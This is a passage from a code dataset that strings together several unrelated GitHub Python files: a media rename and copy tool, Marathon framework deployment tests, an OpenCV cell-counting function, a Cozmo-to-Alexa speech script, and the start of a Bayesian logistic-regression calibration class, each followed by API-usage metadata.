note shutil.copy2 preserves more OS level metadata\n            #currently will overwrite if already exists\n            # TODO: add a 'overwrite' all check\n            shutil.copy2(vd.origPath + vd.origName , vd.newPath + vd.newName)\n            copyCount += 1\n            print('.',end='')\n        except:\n            print(traceback.format_exc())\n            vidFileErr.append(vd.origPath + vd.origName)\n\n\n    print ('There were '+ str(len(vidFileErr)) + ' file and ' + str(len(vidFolderErr)) + ' folder errors' )\n    print ('Done. copied ' + str(copyCount) + ' files in ' + str((time.time() - start_time)) + 'seconds' )\n    return\n\ndef main():\n\n    #launch and close the root window\n    root = tk.Tk()\n    root.withdraw()\n\n    # for testing with just one file\n    # srcname =filedialog.askopensrcname(\n    #         title = \"Media file to query:\",\n    #         initialdir = \"C:/Users/grant/Documents/scratch/sonySDStructure\"\n    #         )\n    #\n    # print(srcname)\n    # newItem = mediaItem(srcname[:srcname.rfind('/')+1],srcname[srcname.rfind('/')+1:] )\n    # print(newItem)\n    # newItem.updateMediaTags()\n    # print(newItem)\n    # mediaList = []\n    # mediaList.append()\n    # setupStillsRename()\n\n    # setupVideoRename()\n\n\n    #\n    setupDirCopy()\n\n    # if srcname != \"\" :\n    #     print('\\n'+srcname + ' becomes ' + getEXIFTime(srcname))\n\n\nif __name__ == '__main__':\n    main()", "repo_name": "ghillebrand/PhotoTransfer", "sub_path": "Rename&TransferMedia.py", "file_name": "Rename&TransferMedia.py", "file_ext": "py", "file_size_in_byte": 27249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime", "line_number": 89, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 101, "usage_type": "call"}, {"api_name": "exifread.process_file", "line_number": 128, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 144, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 144, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 159, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 167, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 167, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 174, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 202, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 215, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 226, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 256, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 257, "usage_type": "call"}, {"api_name": "exifread.process_file", "line_number": 269, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 329, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 329, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 336, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 336, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 339, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 343, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path", "line_number": 377, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 389, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 394, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 412, "usage_type": "call"}, {"api_name": "os.path", "line_number": 412, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 419, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 424, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askdirectory", "line_number": 434, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 434, "usage_type": "name"}, {"api_name": "time.time", "line_number": 443, "usage_type": "call"}, {"api_name": "time.time", "line_number": 450, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askdirectory", "line_number": 460, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 460, "usage_type": "name"}, {"api_name": "time.time", "line_number": 469, "usage_type": "call"}, {"api_name": "time.time", "line_number": 475, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 490, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 495, "usage_type": "call"}, {"api_name": "os.path", "line_number": 495, "usage_type": "attribute"}, {"api_name": "tkinter.filedialog.askdirectory", "line_number": 521, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 521, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 534, "usage_type": "call"}, {"api_name": "os.path", "line_number": 534, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 535, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 537, "usage_type": "call"}, {"api_name": "os.path", "line_number": 537, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 538, "usage_type": "call"}, {"api_name": "time.time", "line_number": 542, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 576, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 605, "usage_type": "call"}, {"api_name": "os.path", "line_number": 605, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 606, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 608, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 620, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 624, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 663, "usage_type": "call"}, {"api_name": "os.path", "line_number": 663, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 664, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 666, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 677, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 681, "usage_type": "call"}, {"api_name": "time.time", "line_number": 686, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 692, "usage_type": "call"}]}
{"seq_id": "2591822280", "text": "\"\"\"Tests for root marathon specific to frameworks and readinessChecks \"\"\"\n\nimport apps\nimport time\nimport shakedown\n\nfrom datetime import timedelta\nfrom dcos import marathon\nfrom dcos.errors import DCOSUnprocessableException\n\n\ndef test_deploy_custom_framework():\n    \"\"\"Launches an app that has necessary elements to create a service endpoint in DCOS.\n       This test confirms that the endpoint is created by the root Marathon.\n    \"\"\"\n\n    client = marathon.create_client()\n    client.add_app(apps.fake_framework())\n    shakedown.deployment_wait(timeout=timedelta(minutes=5).total_seconds())\n\n    assert shakedown.wait_for_service_endpoint('pyfw', timedelta(minutes=5).total_seconds()), \\\n        \"The framework has not showed up\"\n\n\ndef test_framework_readiness_time_check():\n    \"\"\"Tests that an app is being in deployment until the readiness check is done.\"\"\"\n\n    fw = apps.fake_framework()\n    readiness_time = 30\n    fw['readinessChecks'][0]['intervalSeconds'] = readiness_time\n\n    client = marathon.create_client()\n    deployment_id = client.add_app(fw)\n\n    time.sleep(readiness_time - 10)  # not yet.. still deploying\n    deployment = client.get_deployment(deployment_id)\n    assert deployment['currentActions'][0]['readinessCheckResults'][0]['ready'] is False, \\\n        \"The application is read\"\n\n    time.sleep(readiness_time + 1)\n    assert client.get_deployment(deployment_id) is None, \"The application is still being deployed\"\n\n\ndef test_framework_rollback_before_ready():\n    \"\"\"Tests the rollback of an app that didn't complete readiness.\"\"\"\n\n    fw = apps.fake_framework()\n    readiness_time = 30\n    fw['readinessChecks'][0]['intervalSeconds'] = readiness_time\n\n    client = marathon.create_client()\n    deployment_id = client.add_app(fw)\n\n    # 2 secs later it is still being deployed\n    time.sleep(2)\n    deployment = client.get_deployment(deployment_id)\n    assert deployment['currentActions'][0]['readinessCheckResults'][0]['ready'] is False, \\\n        \"The application is ready, but it should not be\"\n\n    client.rollback_deployment(deployment_id)\n    # normally deployment would take another 28 secs\n\n    assert client.get_deployment(deployment_id) is None, \"The application is still being deployed\"\n\n\ndef test_framework_has_single_instance():\n    \"\"\"Verifies that Marathon honors the maximum number of instances in cases of frameworks,\n       which cannot be greater than 1.\n    \"\"\"\n\n    fw = apps.fake_framework()\n    fw['instances'] = 2\n\n    client = marathon.create_client()\n    try:\n        client.add_app(fw)\n    except DCOSUnprocessableException as e:\n        assert e.status() == 422, \"HTTP status code {} is NOT 422\".format(e.status())\n    else:\n        assert False, \"Exception was expected\"\n\n\ndef test_framework_never_deploys_due_to_bad_readiness_check():\n    \"\"\"Tests a poor readiness check.\"\"\"\n\n    fw = apps.fake_framework()\n    fw['readinessChecks'][0]['path'] = '/bad-path'\n\n    client = marathon.create_client()\n    deployment_id = client.add_app(fw)\n    time.sleep(60)\n    deployment = client.get_deployment(deployment_id)\n\n    assert deployment is not None, \"The deployment finished, but it should not\"\n    assert deployment['currentActions'][0]['readinessCheckResults'][0]['ready'] is False, \\\n        \"The application is ready, but it is expected not to be\"\n", "repo_name": "shendabin/marathon", "sub_path": "tests/system/dcos_service_marathon_tests.py", "file_name": "dcos_service_marathon_tests.py", "file_ext": "py", "file_size_in_byte": 3307, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dcos.marathon.create_client", "line_number": 17, "usage_type": "call"}, {"api_name": "dcos.marathon", "line_number": 17, "usage_type": "name"}, {"api_name": "apps.fake_framework", "line_number": 18, "usage_type": "call"}, {"api_name": "shakedown.deployment_wait", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "shakedown.wait_for_service_endpoint", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 21, "usage_type": "call"}, {"api_name": "apps.fake_framework", "line_number": 28, "usage_type": "call"}, {"api_name": "dcos.marathon.create_client", "line_number": 32, "usage_type": "call"}, {"api_name": "dcos.marathon", "line_number": 32, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "apps.fake_framework", "line_number": 47, "usage_type": "call"}, {"api_name": "dcos.marathon.create_client", "line_number": 51, "usage_type": "call"}, {"api_name": "dcos.marathon", "line_number": 51, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "apps.fake_framework", "line_number": 71, "usage_type": "call"}, {"api_name": "dcos.marathon.create_client", "line_number": 74, "usage_type": "call"}, {"api_name": "dcos.marathon", "line_number": 74, "usage_type": "name"}, {"api_name": "dcos.errors.DCOSUnprocessableException", "line_number": 77, "usage_type": "name"}, {"api_name": "apps.fake_framework", "line_number": 86, "usage_type": "call"}, {"api_name": "dcos.marathon.create_client", "line_number": 89, "usage_type": "call"}, {"api_name": "dcos.marathon", "line_number": 89, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "8732080745", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr  9 17:31:52 2018\n\n@author: zhangp\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport os\n\n\n\ndef total_number_function(input_path, cut_off, area_data, screen_ratio):\n    input_file_path = os.path.dirname(input_path)\n    input_file_name = os.path.basename(input_path)\n    img = cv2.imread(input_path)\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    gauss  = cv2.GaussianBlur(gray, (5,5), 0)\n    _, threshed = cv2.threshold(gauss, cut_off, 255, cv2.THRESH_BINARY_INV )\n    kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3))\n    morphed = cv2.morphologyEx(threshed, cv2.MORPH_OPEN, kernel, None, (-1,-1), 1)\n    _, cnts, _ = cv2.findContours(morphed, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n    canvas = img.copy()\n    cv2.drawContours(canvas,cnts, -1,  (0,200,200), 1)\n    canvasl = canvas\n    xcnts = []\n    number = 0\n    new_area = 0\n    for cnt in cnts:\n        area = cv2.contourArea(cnt)\n        x,y,w,h = cv2.boundingRect(cnt)\n        if area < area_data or area/(w*h) < screen_ratio:\n            continue\n        number = number + 1\n        new_area = new_area + area\n        xcnts.append(cnt)\n        text = str(number)\n        cv2.putText(canvas,text,(x,y), cv2.FONT_HERSHEY_SIMPLEX,  .3, (0, 0, 255), 1, 2)\n        cv2.putText(morphed,text,(x,y), cv2.FONT_HERSHEY_SIMPLEX,  .3, (255, 255, 255), 1, 2)\n    cv2.drawContours(canvas, xcnts, -1,  (100,20,200),1)\n\n    all_total = len(cnts)\n    part_total = len(xcnts)\n    number_bty = len(xcnts)/(len(cnts)+1)\n    area_bty = new_area/(canvas.shape[1]*canvas.shape[0])\n    src_path = input_file_path + '/src_' + input_file_name + '.png'\n    dst_path = input_file_path + '/dst_' + input_file_name + '.png'\n    one_two_path = input_file_path + '/one_two_' + input_file_name + '.png'\n    edge_path = input_file_path + '/edge_' + input_file_name + '.png'\n    if os.path.exists(src_path):\n        os.remove(src_path)\n    if os.path.exists(dst_path):\n        os.remove(dst_path)\n    if os.path.exists(one_two_path):\n        os.remove(one_two_path)\n    if os.path.exists(edge_path):\n        os.remove(edge_path)\n\n    cv2.imwrite(src_path, img)\n    cv2.imwrite(dst_path, canvas)\n    cv2.imwrite(one_two_path, threshed)\n    cv2.imwrite(edge_path, morphed)\n    return [all_total, part_total, number_bty, area_bty,src_path,dst_path,one_two_path,edge_path]\n'''\ninput_path = 'C:/Users/zhangp/.spyder-py3/workspace/20180409/cells.jpg'\ncut_off = 150\narea_data = 7\nscreen_ratio = 0.3\n[one,two,three,four] = total_number_function(input_path, cut_off, area_data, screen_ratio)\n'''\n", "repo_name": "zpeng1989/Cell_number", "sub_path": "MAIN/cellnumber.py", "file_name": "cellnumber.py", "file_ext": "py", "file_size_in_byte": 2585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.getStructuringElement", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.MORPH_ELLIPSE", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.contourArea", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 40, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "1190940310", "text": "from cozmohttpclient import CozmoHttpClient\nimport cozmo\nimport asyncio\n\nclass CozmoAlexa:\n\n    def __init__(self):\n        self._client = CozmoHttpClient()\n        \n    async def run(self, coz_conn:cozmo.conn.CozmoConnection):\n        self._robot = await coz_conn.wait_for_robot()\n        self._robot.set_robot_volume(1.0)\n\n        await self.sayToAlexa(\"Alexa\")\n        await self.sayToAlexa(\"Open a.i. rivalry\")\n        await asyncio.sleep(5)\n        await self.sayToAlexa(\"I am better a.i. than you\")\n        await self.listenToResponse()\n        await self._robot.play_anim_trigger(cozmo.anim.Triggers.FailedToRightFromFace).wait_for_completed()\n        \n\n    async def sayToAlexa(self, msg):\n        await self._robot.say_text(msg,\n                                   use_cozmo_voice=False,\n                                   duration_scalar=1.1,\n                                   voice_pitch=0).wait_for_completed()\n\n    async def listenToResponse(self):\n        # mock waiting time, wait for reaction\n        r = self._client.getMessage()\n        t = len(r) * 0.1\n        print(\"Wait time \", t)\n        await asyncio.sleep(t)\n    \n\ndef main():\n    ca = CozmoAlexa()\n    cozmo.setup_basic_logging()\n    cozmo.connect(ca.run)\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "Wizards-of-Coz/Alexa-Playground", "sub_path": "cozmoSrc/cozmoalexa.py", "file_name": "cozmoalexa.py", "file_ext": "py", "file_size_in_byte": 1271, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cozmohttpclient.CozmoHttpClient", "line_number": 8, "usage_type": "call"}, {"api_name": "cozmo.conn", "line_number": 10, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "cozmo.anim", "line_number": 19, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "cozmo.setup_basic_logging", "line_number": 38, "usage_type": "call"}, {"api_name": "cozmo.connect", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "6063756772", "text": "from typing import Tuple, List\nimport warnings\nfrom collections import OrderedDict, defaultdict\nfrom typing import Union\nimport abc\nfrom tqdm import tqdm\n\nimport numpy as np\nfrom scipy.optimize import minimize\nfrom scipy.special import logit as safe_logit\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport torch.distributions as tdist\nimport torch.distributions.constraints as constraints\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport pyro\nfrom pyro.infer import SVI, Trace_ELBO, Predictive, MCMC, NUTS\nfrom pyro.optim import Adam, SGD\nimport pyro.distributions as dist\n\nfrom netcal import AbstractCalibration, dimensions, accepts, manual_seed, squeeze_generic\n\n\nclass AbstractLogisticRegression(AbstractCalibration):\n    \"\"\"\n    Abstract class for all calibration methods that base on logistic regression. We extended common\n    scaling calibration methods by Bayesian epistemic uncertainty modelling [1]_.\n    On the one hand, this class supports Maximum Likelihood (MLE) estimates without uncertainty.\n    This method is commonly solved by negative log likelihood optimization given by\n\n    .. math::\n       \\\\theta_\\\\text{MLE} = \\\\underset{\\\\theta}{\\\\text{min}} \\\\, -\\\\sum_{i=1}^N \\\\log p(y | x_i, \\\\theta)\n\n    with samples :math:`X`, label :math:`y`, weights :math:`\\\\theta` and likelihood :math:`p(y|X, \\\\theta)`.\n    See the implementations of the methods for more details.\n\n    On the other hand, methods to obtain uncertainty in calibration are currently Variational Inference (VI) and\n    Markov-Chain Monte-Carlo (MCMC) sampling. Instead of estimating the weights :math:`\\\\theta` of the logistic\n    regression directly, we place a probability distribution over the weights by\n\n    .. math::\n       p(\\\\theta | X, y) = \\\\frac{p(y | X, \\\\theta) p(\\\\theta)}{\\\\int p(y | X, \\\\theta) p(\\\\theta) d\\\\theta}\n\n    Since the marginal likelihood cannot be evaluated analytically for logistic regression, we need to approximate the\n    posterior by either MCMC sampling or Variational Inference. Using several techniques, we sample multiple times from\n    the posterior in order to get multiple related calibration results with a mean and a deviation for each sample.\n\n    MCMC sampling allows the sampling of a posterior without knowing the marginal likelihood. This method is unbiased\n    but computational expensive. In contrast, Variational Inference defines an easy variational\n    distribution :math:`q_\\\\Phi(\\\\theta)` (e.g. a normal distribution) for each weight parametrized by :math:`\\\\Phi`.\n    The optimization objective is then the minimization of the Kullback-Leibler divergence between the\n    variational distribution :math:`q_\\\\Phi(\\\\theta))` and the true posterior :math:`p(\\\\theta | X, y)`.\n    This can be solved using the ELBO method [2]_. Variational Inference is faster than MCMC but also biased.\n\n    Parameters\n    ----------\n    method : str, default: \"mle\"\n        Method that is used to obtain a calibration mapping:\n        - 'mle': Maximum likelihood estimate without uncertainty using a convex optimizer.\n        - 'momentum': MLE estimate using Momentum optimizer for non-convex optimization.\n        - 'variational': Variational Inference with uncertainty.\n        - 'mcmc': Markov-Chain Monte-Carlo sampling with uncertainty.\n    momentum_epochs : int, optional, default: 1000\n            Number of epochs used by momentum optimizer.\n    mcmc_steps : int, optional, default: 20\n        Number of weight samples obtained by MCMC sampling.\n    mcmc_chains : int, optional, default: 1\n        Number of Markov-chains used in parallel for MCMC sampling (this will result\n        in mcmc_steps * mcmc_chains samples).\n    mcmc_warmup_steps : int, optional, default: 100\n        Warmup steps used for MCMC sampling.\n    vi_epochs : int, optional, default: 1000\n        Number of epochs used for ELBO optimization.\n    detection : bool, default: False\n        If False, the input array 'X' is treated as multi-class confidence input (softmax)\n        with shape (n_samples, [n_classes]).\n        If True, the input array 'X' is treated as a box predictions with several box features (at least\n        box confidence must be present) with shape (n_samples, [n_box_features]).\n    independent_probabilities : bool, optional, default: False\n        Boolean for multi class probabilities.\n        If set to True, the probability estimates for each\n        class are treated as independent of each other (sigmoid).\n    use_cuda : str or bool, optional, default: False\n        Specify if CUDA should be used. If str, you can also specify the device\n        number like 'cuda:0', etc.\n\n    References\n    ----------\n    .. [1] Fabian Küppers, Jan Kronenberger, Jonas Schneider  and Anselm Haselhoff:\n       \"Bayesian Confidence Calibration for Epistemic Uncertainty Modelling.\"\n       2021 IEEE Intelligent Vehicles Symposium (IV), 2021\n\n    .. [2] Michael I Jordan, Zoubin Ghahramani, Tommi S Jaakkola, and Lawrence K Saul:\n       \"An introduction to variational methods for graphical models.\" Machine learning, 37(2): 183–233, 1999.\n    \"\"\"\n\n    dtypes = {\n        torch.float16: np.float16,\n        torch.float32: np.float32,\n        torch.float64: np.float64,\n        torch.int8: np.int8,\n        torch.int16: np.int16,\n        torch.int32: np.int32,\n        torch.int64: np.int64,\n    }\n\n    @accepts(str, int, int, int, int, int, bool, bool, (str, bool))\n    def __init__(\n            self,\n            method: str = 'mle',\n            momentum_epochs: int = 1000,\n\n            mcmc_steps: int = 250,\n            mcmc_chains: int = 1,\n            mcmc_warmup_steps: int = 100,\n\n            vi_epochs: int = 1000,\n\n            detection: bool = False,\n            independent_probabilities: bool = False,\n            use_cuda: Union[str, bool] = False,\n            **kwargs\n    ):\n        \"\"\" Create an instance of `AbstractLogisticRegression`. Detailed parameter description given in class docs. \"\"\"\n\n        super().__init__(detection=detection, independent_probabilities=independent_probabilities)\n\n        if 'num_samples' in kwargs:\n            warnings.warn(\"Parameter \\'num_samples\\' in constructor is deprecated and will be removed. \"\n                          \"Use this parameter in \\'transform\\' function call instead.\")\n\n        if method == \"mcmc\":\n            warnings.warn(\"Optimization type \\'MCMC\\' is implemented but needs revision. Use \\'variational\\' instead.\")\n\n        self.method = method.lower()\n        self.num_features = None\n\n        # epochs for momentum optimization\n        self.momentum_epochs = momentum_epochs\n\n        # properties for MCMC\n        self.mcmc_model = None\n        self.mcmc_steps = mcmc_steps\n        self.mcmc_chains = mcmc_chains\n        self.mcmc_warmup = mcmc_warmup_steps\n\n        # properties for Variational Inference\n        self.vi_model = None\n        self.vi_epochs = vi_epochs\n\n        if isinstance(use_cuda, str):\n            # this line will throw an exception if the cuda device does not exist\n            self._device = torch.device(use_cuda)\n            torch.cuda.get_device_name(use_cuda)\n\n        else:\n            self._device = torch.device('cuda') if use_cuda and torch.cuda.is_available() else torch.device('cpu')\n\n        # mask negative: for some methods like beta calibration, repeat optimization on MLE if\n        # negative values occur on the first run\n        self.mask_negative = False\n        self._sites = None\n\n    def save_model(self, filename: str):\n        \"\"\"\n        Save model instance as with torch's save function as this is safer for torch tensors.\n\n        Parameters\n        ----------\n        filename : str\n            String with filename.\n        \"\"\"\n\n        # overwrite is necessary because we want to copy everything back on CPU before we store anything\n        self.to(torch.device('cpu'))\n        super().save_model(filename)\n\n    def clear(self):\n        \"\"\"\n        Clear model parameters.\n        \"\"\"\n\n        # call parental clear method and clear parameter store of pyro\n        super().clear()\n        pyro.clear_param_store()\n\n        self.num_features = None\n        self._sites = None\n\n        self.mcmc_model = None\n        self.vi_model = None\n\n    @abc.abstractmethod\n    def prepare(self, X: np.ndarray) -> torch.Tensor:\n        \"\"\"\n        Preprocessing of input data before called at the beginning of the fit-function.\n\n        Parameters\n        ----------\n        X : np.ndarray, shape=(n_samples, [n_classes]) or (n_samples, [n_box_features])\n            NumPy array with confidence values for each prediction on classification with shapes\n            1-D for binary classification, 2-D for multi class (softmax).\n            On detection, this array must have 2 dimensions with number of additional box features in last dim.\n\n        Returns\n        -------\n        torch.Tensor\n            Prepared data vector X as torch tensor.\n        \"\"\"\n\n        return torch.Tensor(X).to(self._device)\n\n    @abc.abstractmethod\n    def prior(self, dtype: torch.dtype):\n        \"\"\"\n        Prior definition of the weights and intercept used for log regression. This function has to set the\n        sites at least for \"weights\" and \"bias\".\n\n        Parameters\n        ----------\n        dtype: torch.dtype\n            Data type of the input data so that the priors are initialized with the same precision.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def model(self, X: torch.Tensor = None, y: torch.Tensor = None) -> torch.Tensor:\n        \"\"\"\n        Definition of the log regression model.\n\n        Parameters\n        ----------\n        X : torch.Tensor, shape=(n_samples, n_log_regression_features)\n            Input data that has been prepared by \"self.prepare\" function call.\n        y : torch.Tensor, shape=(n_samples, [n_classes])\n            Torch tensor with ground truth labels.\n            Either as label vector (1-D) or as one-hot encoded ground truth array (2-D) (for multiclass MLE only).\n\n        Returns\n        -------\n        torch.Tensor, shape=(n_samples, [n_classes])\n            Logit of the log regression model.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def mask(self) -> Tuple[np.ndarray, List]:\n        \"\"\"\n        Seek for all relevant weights whose values are negative. Mask those values with optimization constraints\n        in the interval [0, 0].\n        Constraints on the intercepts might also be set.\n\n        Returns\n        -------\n        tuple of (np.ndarray, list)\n            Indices of masked values and list of boundary constraints for optimization.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def guide(self, X: torch.Tensor = None, y: torch.Tensor = None):\n        \"\"\"\n        Variational substitution definition for each parameter. The signature is the same as for the\n        \"self.model\" function but the variables are not used.\n\n        Parameters\n        ----------\n        X : torch.Tensor, shape=(n_samples, n_log_regression_features)\n            Input data that has been prepared by \"self.prepare\" function call.\n        y : torch.Tensor, shape=(n_samples, [n_classes])\n            Torch tensor with ground truth labels.\n            Either as label vector (1-D) or as one-hot encoded ground truth array (2-D) (for multiclass MLE only).\n        \"\"\"\n\n        # iterate over all sites\n        for name, site in self._sites.items():\n\n            # get mean and scale as pyro parameters with (default) constraints\n            mean = pyro.param(\"%s_mean\" % name, site['init']['mean'], constraint=site['constraint'])\n            scale = pyro.param(\"%s_scale\" % name, site['init']['scale'], constraint=constraints.positive)\n\n            # use LogNormal if values are restricted to be positive\n            # use Normal distribution otherwise\n            guide_dist = dist.LogNormal if isinstance(site['constraint'], (constraints._GreaterThan, constraints._GreaterThanEq)) else dist.Normal\n\n            pyro.sample(\n                name, guide_dist(mean, scale, validate_args=True).independent(1)\n            )\n\n    def to(self, device: torch.device):\n        \"\"\" Set distribution parameters to the desired device in order to compute either on CPU or GPU. \"\"\"\n\n        def get_base(distribution: dist.Distribution):\n            \"\"\" Get base distribution recursively (only works for derived Gaussians at the moment) \"\"\"\n\n            if isinstance(distribution, (dist.Independent, dist.LogNormal)):\n                return get_base(distribution.base_dist)\n            elif isinstance(distribution, (dist.Normal, tdist.Normal)):\n                return distribution\n            else:\n                raise ValueError(\"Method is currently not implemented for other distributions than 'Independent', 'LogNormal' or 'Normal'.\")\n\n        assert isinstance(self._sites, OrderedDict), \"Method \\'prior\\' has to set all necessary initialization values and priors.\"\n\n        for name, site in self._sites.items():\n\n            # assert some member variables set by the 'prior' function\n            assert isinstance(site['prior'], dist.Distribution), \"Method \\'prior\\' has to set prior dist for site %s.\" % name\n            assert isinstance(site['init']['mean'], torch.Tensor), \"Method \\'prior\\' has to set initial mean for site %s.\" % name\n            assert isinstance(site['init']['scale'], torch.Tensor), \"Method \\'prior\\' has to set initial scale for site %s.\" % name\n\n            # on some derived distributions (e.g. LogNormal), we need to set 